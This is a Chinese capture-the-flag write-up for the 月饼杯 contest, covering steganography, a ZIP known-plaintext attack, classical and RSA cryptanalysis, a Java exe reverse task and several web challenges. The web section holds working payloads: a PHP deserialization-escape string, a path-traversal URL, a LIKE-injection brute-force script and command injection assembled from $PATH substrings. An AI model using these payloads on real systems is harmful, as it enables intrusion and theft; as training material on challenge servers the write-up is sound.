月饼杯WP

admin 2022年1月5日22:54:29评论59 views字数 18400阅读61分20秒阅读模式

>

>

月饼杯WP

emmmm

@[toc]

Misc

附加misc_问青天

下载附件解压得到一个welcome.gif

直接foremost工具分离得到一个加密了的zip文件。然后一开始爆破啥的都试了都解不出来,后来出了hint

小姐姐声音是aiff格式

百度找到aiff文件头为464f524d00,直接到welcome.gif文件里找,不知道文件尾没关系,将之后的所有内容全部复制出来保存为1.aiff
月饼杯WP
打开听了10多遍终于听清了小姐姐说的是欢迎ctfshow的小哥哥来玩

将此作为压缩包的密码解压得到一张图片c.png
月饼杯WP
观察了一下,发现一圈都是由-|组成的,且都是8位(除了第三个是7位,感觉是群主不小心少画了)。
尝试了一下,将-当作0| 当作1
那么最上面的那个就是01100110,十进制是102,对应ascii是f
第二个01101100对应ascii是l
第三个只有7位,是0110000001100001,而01100001对应ascii是a
其实已经出来了,就是二进制转字符,脚本如下:

s = '01100110 01101100 01100001 01100111 01111011 01100011 01110100 01100110 01011111 01110011 01101000 01101111 01110111 01011111 01101111 01100110 01011111 01100111 01101111 01101100 01100100 01011111 01110010 01100101 01100011 01101111 01110010 01100100 01111101'
s_list = s.split(' ')

flag = ''
for i in range(len(s_list)):
	flag += chr(int(s_list[i],2))
print(flag)

flag为:flag{ctf_show_of_gold_record}


misc2_洗寰瀛

多亏出题人hint给的多

1. 步骤1预计时间为50分钟
2. zip明文攻击
3. https://github.com/kimci86/bkcrack/blob/master/example/tutorial.md
4. flag[0:9]=='flag{TriG' 可能字体文件有问题

zip明文攻击详解参考文章:加密Zip包(Deflate + ZipCrypto)攻击小结

使用工具:rbkcrack

因为压缩包里就一张Triglavian.png图片,而png图片的开头有16字节是不变的,为89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
这里我们需要自己创建一个png_header.png文件,内容就是由那16字节组成。
月饼杯WP
开始攻击

> rbkcrack.exe -C Triglavian.zip -c Triglavian.png -p PNG_header.png

-C 要攻击的压缩包
-c 要攻击的压缩包里面的文件
-p 刚创建的明文文件名

等了一个小时左右吧,能破解得到ZipCrypto的内部的三个key:be056038 0a143c0c 1ea08ca5
月饼杯WP
用这三个key来解码文件

> rbkcrack.exe -C Triglavian.zip -c Triglavian.png -k be056038 0a143c0c 1ea08ca5 -d Triglavian.png

-C 要攻击的压缩包
-c 要攻击的压缩包里面的文件
-k 刚生成的三个key
-d 最终还原的文件名

月饼杯WP
就会在同路径下得到图片Triglavian.png
月饼杯WP
发现红色字体很奇怪,长得就像是flag的变形版。

百度搜索Triglavian,发现是深渊三神裔字体(Triglavian fonts)
月饼杯WP
图片下载链接
字体下载链接

一一对照的就能得出flag:flag{TriG1aviAn_Techn0lo9y}


<br/>
<br/>

Crypto

crypto1_中秋月

下载附件得到内容

fsskryenvkm~jl{ejs}jwflzsnpgmifq{{j{|suhzrjppnx|qvixt~whu

自动钥匙⊕
明文全大写,得到后转小写,并以_连接单词。
题目hint

某古典密码
经此古典密码加密后,密文还是大写
该古典密码的密钥形式:keyword+plaintext (+plaintext...+plaintext)

其实这道题一开始我就找到了是Autokey密码,也用了网上现成的脚本break_autokey.py
一些相关模块地址:http://www.practicalcryptography.com/cryptanalysis/text-characterisation/quadgrams/
单独下载:trigrams.txtquadgrams.txtngram_score.py

但是没跑出来。
一开始也一直不知道异或⊕的用处,后来看到群里阿狸大佬发的截图,看出加密的字符串不是一开始给的那串,怀疑是不是异或了什么东西。
月饼杯WP
然后就自己尝试异或一下,脚本:

s='fsskryenvkm~jl{ejs}jwflzsnpgmifq{{j{|suhzrjppnx|qvixt~whu'
for i in range(255):
	res=''
	for j in range(0,len(s)):
		temp = ord(s[j])^i
		if 65<=temp<=90 or 97<=temp<=122:	#由大小写字母构成
			res += (chr(temp))
	if len(res)==len(s):
		print(res)

得到

ylltmfzqitrausdzulbuhyselqoxrvynddudcljwemuooqgcnivgkahwj
YLLTMFZQITRAUSDZULBUHYSELQOXRVYNDDUDCLJWEMUOOQGCNIVGKAHWJ

然后再次尝试使用break_autokey.py:

from ngram_score import ngram_score
from pycipher import Autokey
import re
from itertools import permutations

qgram = ngram_score('quadgrams.txt')
trigram = ngram_score('trigrams.txt')
ctext = 'YLLTMFZQITRAUSDZULBUHYSELQOXRVYNDDUDCLJWEMUOOQGCNIVGKAHWJ'
ctext = re.sub(r'[^A-Z]','',ctext.upper())

# keep a list of the N best things we have seen, discard anything else
class nbest(object):
    def __init__(self,N=1000):
        self.store = []
        self.N = N
        
    def add(self,item):
        self.store.append(item)
        self.store.sort(reverse=True)
        self.store = self.store[:self.N]
    
    def __getitem__(self,k):
        return self.store[k]

    def __len__(self):
        return len(self.store)

#init
N=100
for KLEN in range(8,20):
    rec = nbest(N)

    for i in permutations('ABCDEFGHIJKLMNOPQRSTUVWXYZ',3):
        key = ''.join(i) + 'A'*(KLEN-len(i))
        pt = Autokey(key).decipher(ctext)
        score = 0
        for j in range(0,len(ctext),KLEN):
            score += trigram.score(pt[j:j+3])
        rec.add((score,''.join(i),pt[:30]))

    next_rec = nbest(N)
    for i in range(0,KLEN-3):
        for k in range(N):
            for c in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
                key = rec[k][1] + c
                fullkey = key + 'A'*(KLEN-len(key))
                pt = Autokey(fullkey).decipher(ctext)
                score = 0
                for j in range(0,len(ctext),KLEN):
                    score += qgram.score(pt[j:j+len(key)])
                next_rec.add((score,key,pt[:30]))
        rec = next_rec
        next_rec = nbest(N)
    bestkey = rec[0][1]
    pt = Autokey(bestkey).decipher(ctext)
    bestscore = qgram.score(pt)
    for i in range(N):
        pt = Autokey(rec[i][1]).decipher(ctext)
        score = qgram.score(pt)
        if score > bestscore:
            bestkey = rec[i][1]
            bestscore = score       
    print(bestscore,'autokey, klen',KLEN,':"'+bestkey+'",',Autokey(bestkey).decipher(ctext).lower())

得到

-306.4154316738783 autokey, klen 8 :"KYIFZYWC", ondonhdougomhlalafnianstllbprigusstolddcmubadndaboughnewi
-290.9667615558167 autokey, klen 9 :"NHSZZCZEI", letundamainhafazilthaynemidekvaazrmaybowendcosforeidimprv
-252.5124922641369 autokey, klen 10 :"KEYFORFLAG", ohnoyoufindtheflagtheflagforyouisdoyoulikeclassicalcipher
-272.6830354332479 autokey, klen 11 :"QJTTBDRTGFE", icsalcixconssadosdestlamlnaforgusdispleingawlioncenteallb
-284.1217857757366 autokey, klen 12 :"ELAJWLRDEVRL", ualkquineyapassperthdasplywinefgadcornnoripioneowvistssov
^C

当klen为10时,ohnoyoufindtheflagtheflagforyouisdoyoulikeclassicalcipher
结合提示flag为:flag{do_you_like_classical_cipher}


crypto2_月自圆

源码文件Baby(Don't)Cry.py

# -*- coding:utf-8 -*-
#Author: Lazzaro

from itertools import *
from random import *
from string import *

def encrypt(m, a, si):
	c=""
	for i in range(len(m)):
		c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2)
	return c
	
if __name__ == "__main__":
	m = '****************************************************flag{*************}'
	assert(len(m)==71)
	a = randint(50,100)
	#随机产生四位大写字母
	salt = ''.join(sample(ascii_uppercase, 4))
	#迭代
	si = cycle(salt.lower())
	c=encrypt(m, a, si)
	print(c)
#3472184e657e50561c481f5c1c4e1938163e154431015e13062c1b073d4e3a444f4a5c5c7a071919167b034e1c29566647600c4e1c2956661b6c1f50622f0016317e563546202a

明文长度为71位,加密后为142位。
这里由于a不大,salt长度也不长,且明文m中存在flag,正好可以用这几位去爆破出asalt
flag在明文m中的位置是53,对应密文c中的位置是105。flag出现的位置正好对应salt的位置。

f ⇒ 1c
l ⇒ 29
a ⇒ 56
g ⇒ 66

写脚本爆出a、salt

from itertools import *
from random import *
from string import *

def encrypt(m, a, si):
	c=""
	for i in range(len(m)):
		c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2)
	return c

if __name__ == "__main__":
	for i in range(50,100):
		for j in ascii_uppercase:
			si = cycle(j.lower())
			# if encrypt('f', i, si)=='1c':
			# 	print('i =',i,'\tj =',j)

			if encrypt('l', i, si)=='29':
				print('i =',i,'\tj =',j)

结果:
满足encrypt('f', i, si)=='1c'的结果:

i = 52 	j = D
i = 57 	j = F
i = 62 	j = H
i = 67 	j = J
i = 72 	j = L
i = 77 	j = N
i = 82 	j = P
i = 87 	j = R
i = 92 	j = T
i = 97 	j = V

满足encrypt('l', i, si)=='29'的结果:

i = 54 	j = A
i = 55 	j = U
i = 61 	j = M
i = 67 	j = E
i = 68 	j = Y
i = 74 	j = Q
i = 80 	j = I
i = 86 	j = A
i = 87 	j = U
i = 93 	j = M
i = 99 	j = E

相同的i只有67,说明随机数a=67

然后拿着a去继续爆salt的后两位

if encrypt('a', 67, si)=='56':
	print('j =',j)

if encrypt('g', 67, si)=='66':
	print('j =',j)

最终得出salt='JESQ'
知道了随机出a和salt,这道题就出来了

from itertools import *
from random import *
from string import *

def encrypt(m, a, si):
	c=""
	for i in range(len(m)):
		c+=hex(((ord(m[i])) * a + ord(si)) % 128)[2:].zfill(2)
	return c
	
if __name__ == "__main__":
	
	salt = 'JESQ'
	si = cycle(salt.lower())
	c = '3472184e657e50561c481f5c1c4e1938163e154431015e13062c1b073d4e3a444f4a5c5c7a071919167b034e1c29566647600c4e1c2956661b6c1f50622f0016317e563546202a'
	res = ''
	for i in range(0,len(c),2):
		ssi = next(si)
		for j in range(32,127):
			if encrypt(chr(j),67,ssi)==c[i]+c[i+1]:
				res += chr(j)
	print(res)

得到最终结果:

now_is_7fad9fcb-d361-4964-821c-177c906b8d20_flag_is_flag{md5(now-salt)}

7fad9fcb-d361-4964-821c-177c906b8d20-JESQ经md5加密后为1efce62ee0a96e39149e2179db1dd04c
最终flag:flag{1efce62ee0a96e39149e2179db1dd04c}


crypto3_多少离怀

# -*- coding:utf-8 -*-
#Author: Lazzaro

from Crypto.Util.number import getPrime,isPrime
from math import gamma
import random

def nextPrime(n):
    n += 2 if n & 1 else 1
    while not isPrime(n):
        n += 2
    return n

def getNewPrime():
    A = getPrime(512)
    B = nextPrime(A - random.randint(1e4,1e5))
    return nextPrime(gamma(B+2)%A)
	
p = getNewPrime()
q = getNewPrime()
r = getNewPrime()
n = p * q ** 2 * r ** 3
e = 0x10001
c = pow(flag,e,n)

#pA=6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723982789
#pB=6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723922147
#qA=7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477881291
#qB=7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477807457
#n=4451906216583258787166698210560165433649728830889954633721198623488802305844782492171757604711145165920462286487680020347239300947225371917344589502941576734875830871998499135120227347066586066943289430156378296665669974728569678779668142712266780949126509440672273927433367293606776081254094682033167575930701870261219046464773708974194213798032346187463443317770758989273370488582862531630356263732232300508706676725203199729764016766683870925164232508407363688370458877688991733322055785233669885166225464068579486683574954699370175267031949720967812902215635630884502987094547523361027411501285252862476410213277925430392164226297316310465146003494714018456407793759170649913180823814850170639706664167149612984905056804131124522209409607977589884632999710708045656852149371030046919242039957767777840304466948549383597755811307383659188216421501912831203089570725388153416013596114462069777713822433178099904907224119
#c=1996198968748552041728429851810599627895157160099076033250854211280074825148767841655949210593646824507865483166496070951130337321360509148527292165245205219296211294789087358959553387392928560150390604911087085313000622842025416521494799132969818997182731021267942464323979261593380113740152841984062184326431879167516288834455296913822921806893572566867611541664848820247889274979245086440402996661226884320574824077910315143756471444347386795428338020162169391827182914043434253974549636668126789355991920452920806351939782281969098470635517019120996509180703896707990501216102290302162705699788457579330150149320348175742131887213742989509004374645723471497302400169849858253644606818874098604333865973357374444445825761600866472906771935670261641342221394488068630591190697667016958881530367047928341661857241378511420562236766886349565409774340321441504290366223243635878057759623855735794209219474650425139791831374

hint

注意伽马函数Γ(x)和阶乘x!的关系式
威尔逊定理

要不是⎝Lazzaro⎠师傅放出这些hint,我一个半吊子肯定做不来这道题。

知识点

#伽马函数Γ(x)和阶乘x!的关系式
gamma(n)=(n-1)!

#威尔逊定理
当且仅当p为素数时:(p-1)! ≡ -1 (mod p)
推论:(p-2)! ≡ 1 (mod p)

#欧拉函数
若n是质数p的k次幂,phi = p**k - p**(k-1)

回到题目
我们需要求gamma(B+2)%A,根据伽马函数Γ(x)和阶乘x!的关系式可知(B+1)! % A
而根据威尔逊定理可知(A-2)! % A = 1
x = (A-2)!/(B+1)!y = (B+1)!,所以x * y ≡ 1 (mod A)
而我们需要求的是y % A,y是x关于A的逆元。所以求x % A的逆元即可。
这里由于A、B相差还不到10万,所以很容易求解出x % A

# -*- coding:utf-8 -*-
#Author: airrudder

from Cryptodome.Util.number import getPrime,isPrime,long_to_bytes
from math import gamma
import random
import gmpy2
import binascii

def nextPrime(n):
    n += 2 if n & 1 else 1
    while not isPrime(n):
        n += 2
    return n

def getNewPrime():
    A = getPrime(512)
    B = nextPrime(A - random.randint(1e4,1e5))
    return nextPrime(gamma(B+2)%A)

pA=6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723982789
pB=6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723922147
qA=7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477881291
qB=7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477807457

e = 0x10001
n=4451906216583258787166698210560165433649728830889954633721198623488802305844782492171757604711145165920462286487680020347239300947225371917344589502941576734875830871998499135120227347066586066943289430156378296665669974728569678779668142712266780949126509440672273927433367293606776081254094682033167575930701870261219046464773708974194213798032346187463443317770758989273370488582862531630356263732232300508706676725203199729764016766683870925164232508407363688370458877688991733322055785233669885166225464068579486683574954699370175267031949720967812902215635630884502987094547523361027411501285252862476410213277925430392164226297316310465146003494714018456407793759170649913180823814850170639706664167149612984905056804131124522209409607977589884632999710708045656852149371030046919242039957767777840304466948549383597755811307383659188216421501912831203089570725388153416013596114462069777713822433178099904907224119
c=1996198968748552041728429851810599627895157160099076033250854211280074825148767841655949210593646824507865483166496070951130337321360509148527292165245205219296211294789087358959553387392928560150390604911087085313000622842025416521494799132969818997182731021267942464323979261593380113740152841984062184326431879167516288834455296913822921806893572566867611541664848820247889274979245086440402996661226884320574824077910315143756471444347386795428338020162169391827182914043434253974549636668126789355991920452920806351939782281969098470635517019120996509180703896707990501216102290302162705699788457579330150149320348175742131887213742989509004374645723471497302400169849858253644606818874098604333865973357374444445825761600866472906771935670261641342221394488068630591190697667016958881530367047928341661857241378511420562236766886349565409774340321441504290366223243635878057759623855735794209219474650425139791831374

#求 ((pA-2)!/(pB+1)!)%pA 的逆元,等于((pB+1)!)%pA ,等于gamma(pB+2)%pA
p = 1
max = (pA-2) - (pB+1)
for i in range(0,max):
	p = p * gmpy2.invert((pA-i-2),pA) % pA
p = nextPrime(p)
#求 ((qA-2)!/(qB+1)!)%qA 的逆元,等于((qB+1)!)%qA ,等于gamma(qB+2)%qA
q = 1
max = (qA-2) - (qB+1)
for i in range(0,max):
	q = q * gmpy2.invert((qA-i-2),qA) % qA
q = nextPrime(q)

r = gmpy2.iroot(n/(p*q**2),3)
print(r)

print('p =',p)
print('q =',q)
print('r =',r[0])
phi = (p-1)*(q**2-q)*(r[0]**3-r[0]**2)
d = gmpy2.invert(e,phi)
m = pow(c, d, n) 
print(long_to_bytes(m))

flag:flag{N0w_U_knOw_how_70_u5E_W1lS0n'5_Th30r3m~}


<br/>
<br/>

Reverse

re2_归心

下载附件得到readme,exe,提示

你应该见过python代码打包成的exe,猜猜这是什么语言

本人是不会玩逆向的,但是看到这种提示,感觉是可以用工具直接反编译成源代码的感觉。

用IDA打开并按Shift+F12查看字符串窗口,可以看到很多和java有关的字符
月饼杯WP
百度了一下exe 反编译 java,发现说exe4j只是将java程序,使用自己的方式打包了一下而已,所以运行的时候还是会转成jar来运行。也就是运行readme.exe会自动生成一个readme.jar
直接使用工具找到这个jar文件
月饼杯WP
jd-gui.jar反编译打开
月饼杯WP
直接出flag:flag{You_Win_0nce_You_C_Me}


<br/>
<br/>

Web

web1_此夜圆

<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

这里由于只能get传入一个1参数,最后经反序列化后password==='yu22x'就能拿到flag。
而1参数赋值给的是$uname,这里就涉及到了反序列化逃逸,可以参考羽师傅的文章:[0CTF 2016]piapiapia(反序列化逃逸)

#示例:
$s = 'a:1:{i:0;s:3:"abc";}de";}';
var_dump(unserialize($s));

#得出
array(1) {
  [0]=>
  string(3) "abc"
}

也就是说,反序列化出来就会把后面的忽略掉。
此题默认password=1,反序列化后就会生成s:8:"password";i:1;
而我们可以自己构造s:8:"password";s:5:"yu22x";

尝试一下在本地传入Firebasky";s:8:"password";s:5:"yu22x";}

$uname='Firebasky";s:8:"password";s:5:"yu22x";}';
$password=1;
$ser=filter(serialize(new a($uname,$password)));
echo $ser;

序列化结果

O:1:"a":2:{s:5:"uname";s:39:"Firebaskyup";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}

这里由于我们传入的字符串有39位,把我们需要的password也给覆盖了
月饼杯WP
";s:8:"password";s:5:"yu22x";}的长度为30,而每输入一个Firebasky被替换成Firebaskyup,长度保持不变,也就可以逃逸出2个字符。所以这里需要15个Firebasky就能逃逸出30个字符。
所以最终payload

?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

在这里插入图片描述


web2_故人心

源代码

<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一个都过不了还想要flag呀?!';
}
第一个都过不了还想要flag呀?!

题目hint

存在一个robots.txt

第一关

is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0

?a=1e-162,尝试后发现数只要在-323-162之间的都可以。

第二关

($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)))

跟以前的md5类似啊。用0e开头的数,一次加密后也是0e的一个数和两次加密后也是0e的数就可以。
后来还给了hint,访问robots.txt,得到hinthint.txt,内容

Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452    hash("md2",$b)
xxxxxx48399    hash("md2",hash("md2",$b))

脚本:

<?php
/*	//直接爆破
for ($i=100000000; $i < 10000000000; $i++) {
	$b=hash("md2", '0e'.$i);
	if(is_numeric($b) && substr($b,0,2)==='0e'){
		echo '$i = ';echo $i;
		echo '$b = ';echo $b;
	}

	$c=hash("md2",hash("md2", '0e'.$i));
	if(is_numeric($c) && substr($c,0,2)==='0e'){
		echo '$i = ';echo $i;
		echo '$c = ';echo $c;
	}
}
*/

for ($i=0; $i < 999999; $i++) { 
	$b=hash("md2", '0e'.$i.'024452');
	if(is_numeric($b) && substr($b,0,2)==='0e'){
		echo '$i = ';echo $i;
		echo '$b = ';echo $b;
	}

	$c=hash("md2",hash("md2", '0e'.$i.'48399'));
	if(is_numeric($c) && substr($c,0,2)==='0e'){
		echo '$i = ';echo $i;
		echo '$c = ';echo $c;
	}
}
?>

能得到b=0e652024452,c=0e603448399。

第三关
php遇到不认识的协议就会当目录处理,例如a://aaa/../../etc/passwd之类的。

url=a://ctfshow.com/../../../../../../../fl0g.txt

在这里插入图片描述


web3_莫负婵娟

月饼杯WP
右键查看源代码发现

<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

看来是like注入了。
like模糊查询可以使用%匹配多个字符,_匹配单个字符。
尝试后发现%被过滤,不过下划线(_)并没有被过滤。
这里就需要猜测password的位数了,好家伙,竟然密码有32位。如果小于或大于32个_都会报wrong username or password。只有正确匹配才会显示I have filtered all the characters. Why can you come in? get out!
月饼杯WP
既然这样,就可以爆破出密码。
脚本

import requests
import string

strs = string.digits+string.ascii_letters
url = 'http://d274b648-0dad-4058-9b20-9a7a35424df5.chall.ctf.show/login.php'

pwd = ''
for i in range(32):
	print('i = '+str(i+1),end='\t')
	for j in strs:
		password = pwd + j + (31-i)*'_'
		data = {'username':'yu22x','password':password}
		r = requests.post(url,data=data)
		if 'wrong' not in r.text:
			pwd += j
			print(pwd)
			break

密码为67815b0c009ee970fe4014abaa3Fa6A0

填入密码来到/P1099.php界面。
月饼杯WP
Normal connection表示正常连接
Abnormal connection表示异常连接;
evil input表示被过滤了。

尝试发现过滤了一堆,就连a都过滤了。那就FUZZ跑可显示的字符,看看都过滤了什么
月饼杯WP
小写字母全被过滤。大写字母、数字、$:没被过滤。
linux里有一个环境变量$PATH,可以用它来构造小写字母执行命令。
在这里插入图片描述

尝试构造ls得到flag.php。

ip=0;${PATH:5:1}${PATH:2:1}

月饼杯WP
构造nl flag.php右键查看源代码得到flag

ip=0;${PATH:14:1}${PATH:5:1} ????.???

在这里插入图片描述


博客文章地址:https://blog.csdn.net/hiahiachang/article/details/108800210


yuchoxuuan

关于web3,补充一点东西吧,毕竟不是所有人都能像大佬一样一发入魂。
web3,第二部的核心是用 PATH环境变量拼接命令,但是每个系统的环境变量都是不同的,比如说我的卡里是酱紫的
月饼杯WP
你的和我的可能不一样,服务器上的和我的也不一样,这就有一个问题就是怎么找到l,s
我的经验是,虽然大家linux配置都有去变但是大抵这个目录还是有的
/usr/local/sbin:
这样我们就可以利用 他们的位置关系去遍历了

import requests
url = 'http://89b80094-8b5c-4437-85c7-b1816f84c705.chall.ctf.show/P1099.php'
def chk(p1,p2):

    cook={'PHPSESSID':'re0ueon72llbknrojfg9kj0c44'}
    dat = {'ip':'0;${PATH:%d:1}${PATH:%d:1}'%(p1,p2)}
    txt = requests.post(url,data=dat,cookies=cook).text
    if 'P1099.php' in txt:
        print(txt)
        print(p1) # p1的位置是l 下一步还有用,我做题的时候是9
for i in range(30):
    chk(i,i+2)

至于下一个nl,找到了l了n的话直接穷举就差不多了
···
import requests
url = 'http://89b80094-8b5c-4437-85c7-b1816f84c705.chall.ctf.show/P1099.php'
def chk(p1,p2):

cook={'PHPSESSID':'re0ueon72llbknrojfg9kj0c44'}
dat = {'ip':'0;${PATH:%d:1}${PATH:%d:1} ????.???'%(p1,p2)}
txt = requests.post(url,data=dat,cookies=cook).text
if 'php' in txt:
    print(txt)
    print(p1,p2)

for i in range(30):
chk(i,9)

···


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日22:54:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   月饼杯WPhttp://cn-sec.com/archives/719539.html

发表评论

匿名网友 填写信息